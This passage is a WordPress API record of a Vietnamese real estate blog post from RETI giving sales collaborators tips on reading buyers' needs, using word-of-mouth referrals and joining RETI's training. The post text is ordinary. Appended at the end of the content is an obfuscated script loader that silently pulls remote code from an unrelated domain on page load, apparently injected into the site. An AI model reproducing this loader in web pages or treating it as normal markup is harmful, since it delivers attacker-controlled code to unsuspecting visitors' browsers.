nhi\u00ean y\u1ebfu t\u1ed1 kh\u00e1c bi\u1ec7t gi\u1eefa <a href=\"https:\/\/agent.reti.vn\/sale-agent-la-gi-tat-tan-tat-ve-sale-agent\/\">Sales Agent<\/a> chuy\u00ean nghi\u1ec7p v\u00e0 Sales Agent th\u00f4ng th\u01b0\u1eddng \u0111\u00f3 l\u00e0 kh\u1ea3 n\u0103ng th\u1ea5u hi\u1ec3u nh\u1eefng gi\u00e1 tr\u1ecb m\u00e0 kh\u00e1ch h\u00e0ng th\u1ef1c s\u1ef1 mu\u1ed1n. \u0110\u00f3 l\u00e0 \u0111i\u1ec1u kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 kh\u00f4ng h\u1ecfi c\u0169ng kh\u00f4ng n\u00f3i ra cho b\u1ea1n bi\u1ebft, th\u1eadm ch\u00ed h\u1ecd c\u00f2n th\u1ef1c s\u1ef1 kh\u00f4ng ngh\u0129 \u0111\u1ebfn. L\u00fac \u0111\u00f3, b\u1ea1n ph\u1ea3i th\u1ef1c s\u1ef1 tinh t\u1ebf quan s\u00e1t l\u1eafng nghe t\u1eebng c\u00e2u ch\u1eef trong c\u00e2u chuy\u1ec7n c\u1ee7a h\u1ecd ho\u1eb7c b\u1ea1n c\u00f3 th\u1ec3 h\u1ecfi th\u0103m v\u1ec1 h\u1ecd \u0111\u1ec3 suy lu\u1eadn th\u00eam.<\/p>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/I7B9o8N.png\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\">\n<figcaption>B\u1ea1n c\u1ea7n th\u1ea5u hi\u1ec3u r\u00f5 t\u00e2m l\u00fd kh\u00e1ch h\u00e0ng khi l\u00e0m CTV B\u0110S<\/figcaption>\n<\/figure>\n<\/div>\n\n\n\n<p>C\u00e1ch t\u1ed1t nh\u1ea5t \u0111\u00f3 l\u00e0 h\u00e3y h\u00f3a th\u00e2n tr\u1edf th\u00e0nh ch\u00ednh kh\u00e1ch h\u00e0ng v\u00e0 suy ngh\u0129 xem n\u1ebfu m\u00ecnh l\u00e0 h\u1ecd m\u00ecnh s\u1ebd quan t\u00e2m \u0111\u1ebfn \u0111i\u1ec1u g\u00ec? V\u00ed d\u1ee5, n\u1ebfu kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n hay \u0111\u1ec1 c\u1eadp v\u1ec1 gi\u00e1, h\u1ecfi \u0111\u1ebfn gi\u00e1 th\u00ec b\u1ea1n \u0111\u1eebng ch\u1ec9 b\u00e1o gi\u00e1 cho kh\u00e1ch h\u00e0ng th\u00f4i m\u00e0 h\u00e3y n\u00f3i th\u00eam c\u1ea3 ch\u00ednh s\u00e1ch \u01b0u \u0111\u00e3i, chi\u1ebft kh\u1ea5u, ti\u1ec1m n\u0103ng t\u0103ng gi\u00e1, ch\u00ednh s\u00e1ch cho vay, ng\u00e2n h\u00e0ng b\u1ea3o l\u00e3nh. Ngo\u00e0i ra, b\u1ea1n c\u00f3 th\u1ec3 n\u00eau m\u1ee9c gi\u00e1 c\u1ee7a m\u1ed9t s\u1ed1 d\u1ef1 \u00e1n l\u00e2n c\u1eadn \u0111\u1ec3 so s\u00e1nh\u2026 Ch\u1eafc ch\u1eafn kh\u00e1ch h\u00e0ng m\u1ed9t khi \u0111\u00e3 \u0111i xem nh\u00e0 m\u1eabu th\u00ec h\u1ecd th\u1ef1c s\u1ef1 quan t\u00e2m \u0111\u1ebfn chi ti\u1ebft nh\u1ecf nh\u1ea5t v\u00e0 l\u1eafng nghe b\u1ea1n.<\/p>\n\n\n\n<p>\u0110i\u1ec1u quan tr\u1ecdng nh\u1ea5t vi\u1ec7c n\u1eafm b\u1eaft t\u00e2m l\u00fd\u00a0ng\u01b0\u1eddi mua \u0111\u01a1n gi\u1ea3n l\u00e0 hi\u1ec3u \u0111\u01b0\u1ee3c nhu c\u1ea7u c\u1ee7a h\u1ecd. Vi\u1ec7c th\u1ea5u hi\u1ec3u ng\u01b0\u1eddi mua l\u00e0 n\u1ec1n t\u1ea3ng \u0111\u1ec3 b\u00e1n h\u00e0ng hi\u1ec7u qu\u1ea3. Th\u1ea5u hi\u1ec3u l\u00e0 vi\u1ec7c x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c tr\u1ea3i nghi\u1ec7m m\u00e0 ng\u01b0\u1eddi mua mu\u1ed1n c\u00f3 khi c\u00e2n nh\u1eafc mua h\u00e0ng c\u1ee7a b\u1ea1n. Ng\u01b0\u1eddi mua c\u00f3 nh\u1eefng k\u1ef3 v\u1ecdng v\u1ec1 tr\u1ea3i nghi\u1ec7m v\u00e0 v\u1edbi t\u01b0 c\u00e1ch m\u1ed9t ng\u01b0\u1eddi M\u00f4i gi\u1edbi, nhi\u1ec7m v\u1ee5 c\u1ee7a b\u1ea1n l\u00e0 \u0111\u00e1p \u1ee9ng t\u1ed1i \u0111a, \u0111\u00f4i khi ph\u1ea3i l\u00e0 v\u01b0\u1ee3t xa nh\u1eefng g\u00ec ng\u01b0\u1eddi mua mong \u0111\u1ee3i. V\u00e0 \u0111i\u1ec3m m\u1ea5u ch\u1ed1t l\u00e0, b\u1ea1n s\u1ebd kh\u00f4ng th\u1ec3 \u0111\u00e1p \u1ee9ng nh\u1eefng k\u1ef3 v\u1ecdng \u0111\u00f3 n\u1ebfu b\u1ea3n th\u00e2n b\u1ea1n kh\u00f4ng hi\u1ec3u ng\u01b0\u1eddi mua mu\u1ed1n g\u00ec.<\/p>\n\n\n\n<p>\u0110\u1ec3 th\u1eadt s\u1ef1 hi\u1ec3u \u0111\u01b0\u1ee3c ng\u01b0\u1eddi mua \u0111ang ngh\u0129 g\u00ec v\u00e0 c\u1ea7n g\u00ec, b\u1ea3n th\u00e2n m\u1ed9t ng\u01b0\u1eddi b\u00e1n h\u00e0ng gi\u1ecfi c\u1ea7n c\u00f3 hai k\u1ef9 n\u0103ng c\u01a1 b\u1ea3n l\u00e0\u00a0l\u1eafng nghe\u00a0v\u00e0\u00a0\u0111\u1eb7t c\u00e2u h\u1ecfi. V\u1ec1 c\u01a1 b\u1ea3n, \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c th\u00e0nh c\u00f4ng khi l\u00e0m vi\u1ec7c c\u00f9ng ng\u01b0\u1eddi mua, CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ea7n trang b\u1ecb cho m\u00ecnh nh\u1eefng k\u1ef9 n\u0103ng c\u1ea7n thi\u1ebft c\u1ee7a m\u1ed9t ng\u01b0\u1eddi b\u00e1n h\u00e0ng.<\/p>\n\n\n\n<p>\u0110\u1ecdc th\u00eam <a href=\"https:\/\/reti.vn\/blog\/nhung-dieu-ban-can-biet-truoc-khi-tro-thanh-ctv-bds\/\">Nh\u1eefng \u0111i\u1ec1u b\u1ea1n c\u1ea7n bi\u1ebft tr\u01b0\u1edbc khi tr\u1edf th\u00e0nh CTV B\u0110S<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"title5\"><span class=\"ez-toc-section\" id=\"Ra_soat_tong_hop_lai_cach_khach_hang_tim_kiem_bat_dong_san\"><\/span><strong>R\u00e0 so\u00e1t, t\u1ed5ng h\u1ee3p l\u1ea1i c\u00e1ch kh\u00e1ch h\u00e0ng t\u00ecm ki\u1ebfm b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Trong l\u00fac b\u1ea1n d\u1eabn kh\u00e1ch h\u00e0ng \u0111i tham quan nh\u00e0 th\u00ec c\u00f3 th\u1ec3 tr\u00f2 chuy\u1ec7n, h\u1ecfi th\u0103m th\u00eam v\u1ec1 c\u00e1ch kh\u00e1ch h\u00e0ng t\u00ecm ki\u1ebfm d\u1ef1 \u00e1n c\u1ee7a b\u1ea1n ho\u1eb7c d\u1ef1a v\u00e0o c\u00e1c con s\u1ed1 th\u1ed1ng k\u00ea t\u1eeb marketing \u0111\u1ec3 t\u00ecm ra ph\u01b0\u01a1ng ti\u1ec7n ti\u1ebfp c\u1eadn hi\u1ec7u qu\u1ea3 nh\u1ea5t. Sau m\u1ed7i l\u1ea7n g\u1eb7p kh\u00e1ch h\u00e0ng b\u1ea1n c\u1ea7n r\u00e0 so\u00e1t l\u1ea1i nh\u1eefng v\u1ea5n \u0111\u1ec1 kh\u00e1ch h\u00e0ng quan t\u00e2m nh\u1ea5t \u0111\u1ebfn d\u1ef1 \u00e1n, \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ch\u1ee7 y\u1ebfu trong \u0111\u1ed9 tu\u1ed5i, khu v\u1ef1c n\u00e0o \u0111\u1ec3 li\u00ean t\u1ee5c c\u1eadp nh\u1eadp th\u00f4ng tin, t\u1ed1i \u01b0u hi\u1ec7u qu\u1ea3 t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n. H\u01a1n n\u1eefa, b\u01b0\u1edbc n\u00e0y gi\u00fap b\u1ea1n t\u1ed5ng h\u1ee3p kinh nghi\u1ec7m v\u00e0 ph\u00e1t tri\u1ec3n h\u01a1n m\u1ed7i ng\u00e0y.<\/p>\n\n\n\n<p>Cu\u1ed1i c\u00f9ng, b\u00ed quy\u1ebft m\u1ea1nh m\u1ebd nh\u1ea5t \u0111\u00f3 l\u00e0 h\u00e3y l\u00e0m vi\u1ec7c v\u1edbi c\u1ea3 t\u1ea5m l\u00f2ng c\u1ee7a b\u1ea1n, \u0111\u1eb7t uy t\u00edn l\u00ean tr\u00ean h\u1ebft s\u1ebd gi\u00fap b\u1ea1n ph\u00e1t tri\u1ec3n b\u1ec1n v\u1eefng h\u01a1n. T\u1eadn d\u1ee5ng marketing truy\u1ec1n mi\u1ec7ng v\u1eabn l\u00e0 ph\u01b0\u01a1ng th\u1ee9c t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n n\u00ean duy tr\u00ec v\u00ec \u0111\u00e2y l\u00e0 l\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng c\u1ef1c k\u1ef3 ch\u1ea5t l\u01b0\u1ee3ng.<\/p>\n\n\n\n<p>Th\u1ed1ng k\u00ea c\u1ee7a Hi\u1ec7p h\u1ed9i B\u0110S Hoa k\u1ef3 (NAR) v\u1ec1 c\u00e1c k\u00eanh ti\u1ebfp th\u1ecb hi\u1ec7u qu\u1ea3 trong giao d\u1ecbch mua b\u00e1n nh\u00e0 bao g\u1ed3m: B\u00e1o ch\u00ed, tivi, h\u1ed9i th\u1ea3o, radio, trang web, truy\u1ec1n mi\u1ec7ng\u2026 Th\u00ec k\u00eanh th\u00e0nh c\u00f4ng v\u00e0 hi\u1ec7u qu\u1ea3 nh\u1ea5t trong ti\u1ebfp th\u1ecb ch\u00ednh l\u00e0: Qua s\u1ef1 gi\u1edbi thi\u1ec7u, truy\u1ec1n mi\u1ec7ng (Referral) chi\u1ebfm h\u01a1n 48% th\u00e0nh c\u00f4ng trong giao d\u1ecbch mua b\u00e1n nh\u00e0.<\/p>\n\n\n\n<p>C\u00e1c chuy\u00ean vi\u00ean m\u00f4i gi\u1edbi n\u01b0\u1edbc ngo\u00e0i, h\u1ecd t\u1eadn d\u1ee5ng tri\u1ec7t \u0111\u1ec3 y\u1ebfu t\u1ed1 ti\u1ebfp th\u1ecb truy\u1ec1n mi\u1ec7ng. H\u1ecd lu\u00f4n ho\u00e0n thi\u1ec7n b\u1ea3n th\u00e2n v\u00e0 t\u1ea1o quan h\u1ec7 th\u00e2n thi\u1ebft v\u1edbi kh\u00e1ch h\u00e0ng. H\u1ecd lu\u00f4n bi\u1ebft t\u1ea1o nh\u1eefng \u1ea5n t\u01b0\u1ee3ng t\u1ed1t \u0111\u1eb9p trong m\u1eaft kh\u00e1ch h\u00e0ng. V\u00ec h\u1ecd bi\u1ebft r\u1eb1ng \u2013 m\u1ed9t giao d\u1ecbch th\u00e0nh c\u00f4ng ch\u1ec9 m\u1edbi l\u00e0 b\u01b0\u1edbc kh\u1edfi \u0111\u1ea7u c\u1ee7a c\u00e1c m\u1ed1i quan h\u1ec7 l\u00e0m \u0103n l\u00e2u d\u00e0i sau n\u00e0y.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tro_thanh_CTV_BDS_cua_RETI\"><\/span>Tr\u1edf th\u00e0nh <a href=\"https:\/\/reti.vn\/blog\/6-ly-do-vi-sao-ban-nen-tro-thanh-cong-tac-vien-moi-gioi-bat-dong-san\/\">CTV B\u0110S<\/a> c\u1ee7a RETI<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>B\u1ea5t k\u1ec3 ngh\u1ec1 n\u00e0o c\u0169ng c\u1ea7n ph\u1ea3i \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o, hu\u1ea5n luy\u1ec7n th\u00ec m\u1edbi c\u00f3 th\u1ec3 l\u00e0m t\u1ed1t \u0111\u01b0\u1ee3c. H\u00e3y tham gia c\u00e1c kh\u00f3a \u0111\u00e0o t\u1ea1o nghi\u1ec7p v\u1ee5 c\u1ee7a RETI \u0111\u1ec3 \u0111\u01b0\u1ee3c trang b\u1ecb c\u00e1c ki\u1ebfn th\u1ee9c c\u1ea7n thi\u1ebft v\u00e0 c\u00e1c b\u00ed quy\u1ebft h\u1eefu \u00edch \u0111\u1ec3 bi\u1ebft c\u00e1ch t\u00ecm ki\u1ebfm \u0111\u01b0\u1ee3c kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng, l\u00e0m vi\u1ec7c v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 ch\u1ed1t sale th\u00e0nh c\u00f4ng. Ngo\u00e0i ki\u1ebfn th\u1ee9c, k\u1ef9 n\u0103ng, b\u1ea1n c\u00f2n c\u00f3 c\u01a1 h\u1ed9i \u0111\u01b0\u1ee3c l\u00e0m quen n\u00f3i chuy\u1ec7n v\u1edbi nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 th\u00e0nh c\u00f4ng trong ngh\u1ec1.<\/p>\n\n\n\n<p>\u0110\u1ec3 tr\u1edf th\u00e0nh CTV B\u0110S b\u1ea1n c\u1ea7n h\u1ecdc h\u1ecfi r\u1ea5t nhi\u1ec1u ki\u1ebfn th\u1ee9c v\u00e0 trau d\u1ed3i c\u00e1c k\u1ef9 n\u0103ng. N\u1ebfu b\u1ea1n ch\u01b0a bi\u1ebft n\u00ean b\u1eaft \u0111\u1ea7u t\u1eeb \u0111\u00e2u v\u00e0 ph\u1ea3i l\u00e0m nh\u01b0 th\u1ebf n\u00e0o th\u00ec vi\u1ec7c t\u00ecm ki\u1ebfm \u0111\u1ec3 h\u1ee3p t\u00e1c v\u1edbi m\u1ed9t c\u00f4ng ty B\u0110S uy t\u00edn, chuy\u00ean nghi\u1ec7p l\u00e0 l\u1ef1a ch\u1ecdn s\u00e1ng su\u1ed1t ngay l\u00fac n\u00e0y.<\/p>\n\n\n\n<p>RETI x\u00e2y d\u1ef1ng l\u1ed9 tr\u00ecnh \u0111\u00e0o t\u1ea1o b\u00e0i b\u1ea3n d\u00e0nh cho Sales Agent. Khi tr\u1edf th\u00e0nh CTV c\u1ee7a RETI, b\u1ea1n s\u1ebd \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o t\u1eeb nh\u1eefng ki\u1ebfn th\u1ee9c v\u1ec1 lo\u1ea1i h\u00ecnh B\u0110S (shophouse, bi\u1ec7t th\u1ef1 \u0111\u01a1n l\u1eadp, song l\u1eadp, penthouse,\u2026), th\u00f4ng tin chuy\u00ean s\u00e2u v\u1ec1 d\u1ef1 \u00e1n RETI \u0111ang ph\u00e2n ph\u1ed1i, gi\u1ea3i quy\u1ebft c\u00e1c kh\u00f3 kh\u0103n trong vi\u1ec7c \u0111i t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng, n\u00e2ng cao k\u1ef9 n\u0103ng t\u01b0 v\u1ea5n v\u00e0 ch\u1ed1t kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 v\u00e0 s\u1eed d\u1ee5ng \u1ee9ng d\u1ee5ng Marketing trong sales B\u0110S.<\/p>\n\n\n\n<p>\u0110\u1eb7c bi\u1ec7t, CTV c\u1ee7a RETI s\u1ebd d\u1ec5 d\u00e0ng ti\u1ebfp c\u1eadn, t\u01b0 v\u1ea5n cho kh\u00e1ch h\u00e0ng khi \u0111\u01b0\u1ee3c ti\u1ebfp c\u1eadn gi\u1ecf h\u00e0ng \u0111a d\u1ea1ng v\u1ec1 gi\u00e1, ph\u00e2n kh\u00fac; tr\u1ea3i nghi\u1ec7m s\u1eed d\u1ee5ng n\u1ec1n t\u1ea3ng qu\u1ea3n l\u00fd c\u00f4ng vi\u1ec7c, kh\u00e1ch h\u00e0ng \u2013 <a href=\"https:\/\/reti.vn\/blog\/tinh-nang-noi-bat-cua-tms-bat-dong-san-ban-nen-biet\/\">RETI TMS<\/a> v\u00e0 \u0111\u01b0\u1ee3c h\u1ed7 tr\u1ee3 t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng v\u00e0 Marketing.<\/p>\n\n\n\n<p>\u0110\u1ecdc th\u00eam <a href=\"https:\/\/reti.vn\/blog\/10-loi-ich-noi-bat-cua-reti-tms\/\">10 L\u1ee2I \u00cdCH N\u1ed4I B\u1eacT C\u1ee6A RETI TMS<\/a>.<\/p>\n\n\n\n<p>\u0110\u1eebng ch\u1ea7n ch\u1eeb m\u00e0 h\u00e3y gia nh\u1eadp c\u1ed9ng \u0111\u1ed3ng RETIAN ngay h\u00f4m nay \u0111\u1ec3 s\u1edbm tr\u1edf th\u00e0nh nh\u00e0 m\u00f4i gi\u1edbi chuy\u00ean nghi\u1ec7p v\u00e0 m\u1edf r\u1ed9ng c\u01a1 h\u1ed9i ki\u1ebfm thu nh\u1eadp kh\u1ee7ng. \u0110\u1ec3 \u0111\u00f3n \u0111\u1ecdc th\u00eam c\u00e1c tin t\u1ee9c kh\u00e1c li\u00ean quan \u0111\u1ebfn b\u1ea5t \u0111\u1ed9ng s\u1ea3n v\u00e0 th\u00f4ng tin v\u1ec1 c\u00e1c d\u1ef1 \u00e1n hi\u1ec7n nay, truy c\u1eadp\u00a0<a href=\"https:\/\/reti.vn\/blog\">reti.vn\u00a0<\/a>\u0111\u1ec3 bi\u1ebft th\u00eam th\u00f4ng tin chi ti\u1ebft.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>S\u1ef1 ph\u00e1t tri\u1ec3n b\u00f9ng n\u1ed5 \u0111\u00e3 bi\u1ebfn th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n (B\u0110S) tr\u1edf th\u00e0nh l\u0129nh v\u1ef1c c\u1ea1nh tranh v\u00f4 c\u00f9ng kh\u1ed1c li\u1ec7t. \u0110i\u1ec1u n\u00e0y d\u1eabn \u0111\u1ebfn vi\u1ec7c t\u00ecm ki\u1ebfm v\u00e0 thu h\u00fat kh\u00e1ch h\u00e0ng tr\u1edf th\u00e0nh n\u1ed7i \u00e1m \u1ea3nh c\u1ee7a nhi\u1ec1u ng\u01b0\u1eddi m\u1edbi tham gia ng\u00e0nh B\u0110S. C\u00f9ng tham kh\u1ea3o qua b\u00ed quy\u1ebft ti\u1ebfp [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":30196,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[307],"tags":[],"class_list":{"0":"post-30123","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-meo-nho-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/sach-hay-ve-hanh-vi-khach-hang-cover.png","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/30123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=30123"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/30123\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/30196"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=30123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=30123"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=30123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}